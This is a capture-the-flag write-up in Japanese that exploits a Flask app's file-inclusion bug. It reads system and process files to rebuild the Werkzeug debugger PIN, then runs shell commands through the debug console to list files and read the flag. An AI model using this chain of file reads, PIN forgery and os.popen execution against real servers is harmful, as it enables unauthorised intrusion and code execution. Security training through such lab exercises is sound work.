調査
?animal=動物名
で表示が変わるので、適当に弄るとWerkzeugのエラー画面が出てくる。
/console
を確認するとPINコードが求められる。ほう。
?animal=/etc/passwd
とすると表示されるのでLFIができる。ほう。
PIN特定からRCEへ
Workerbee Walkthrough (Werkzeug Debug Pin generation) - YouTube
これをやる。
werkzeug - HackTricks ここの末尾にPINコードを作成するpythonコードが添付されているのでこれを埋めるようにして、情報をかき集めていこう。
- probably_public_bitsを埋める
- 1番目
/proc/self/environ
から環境変数USERを取ってくるUSER=loremipsum
- 2番目はそのまま
- 3番目
/proc/self/cmdline
をするとloremipsum.py
というファイル名だと分かるloremipsum.py
を取ってくるとapp = Flask(__name__)
とあるので、ここはこのままFlask
でよい
- 4番目
- エラー画面を見ると
/usr/local/lib/python3.6/dist-packages/flask/app.py
とあるので、python3.6に修正する
- エラー画面を見ると
- 1番目
- private_bits
- 1番目
/proc/net/arp
を見るとDeviceはeth0
であると分かる。/sys/class/net/eth0/address
としてMACアドレスを取得する02:42:ac:1b:00:02
- これを16進数でつないで10進数に変換すると得られる
print(0x0242ac1b0002)=2485378547714
- 2番目
- 以下2つをそのままつなげたものを入れる
/proc/sys/kernel/random/boot_id
でb875f129-5ae6-4ab1-90c0-ae07a6134578
が得られる/proc/self/cgroup
の最初の要素のハッシュ値みたいなやつを取ってくる11:memory:/docker/e8c9f0084a3b2b724e4f2a526d60bf0a62505f38649743b8522a8c005b8334ae
のe8c9f0084a3b2b724e4f2a526d60bf0a62505f38649743b8522a8c005b8334ae
- よって、
b875f129-5ae6-4ab1-90c0-ae07a6134578e8c9f0084a3b2b724e4f2a526d60bf0a62505f38649743b8522a8c005b8334ae
- 以下2つをそのままつなげたものを入れる
- 1番目
- これで実行するとPINコード
126-739-410
が得られる
これでコンソール経由でRCEできるようになるので、フラグを見つけて答える。
>>> __import__('os').popen('ls').read() 'cats\ncheese\ndogs\nfish\nflag\nloremipsum.py\nwrapper.sh\n' >>> __import__('os').popen('cat flag').read() 'Lorem ipsum dolor sit amet, consectetur adipiscing elit. Phasellus mollis condimentum ante, pharetra semper nunc sodales in. Nulla ultricies eu ligula sed ultrices. Maecenas iaculis sit amet ex non tempus. Mauris vulputate arcu vel nulla suscipit aliquam. Mauris eleifend ex tortor. Maecenas sed nunc nisl. Fusce congue euismod nulla, eu laoreet ipsum. Suspendisse semper lacinia nisl eget condimentum. Duis ornare, libero luctus efficitur convallis, tellus massa ultricies mi, sit amet blandit lorem ipsum at nulla. Etiam malesuada dapibus interdum. Nam erat justo, pharetra at neque sed, congue mollis enim. Pellentesque vestibulum mollis ex ac fringilla. Morbi feugiat tincidunt elit vitae aliquet. In hac habitasse platea dictumst. Nullam sagittis eleifend iaculis.\n\nb0ctf{Fl4sK_d3buG_is_InseCure}\n'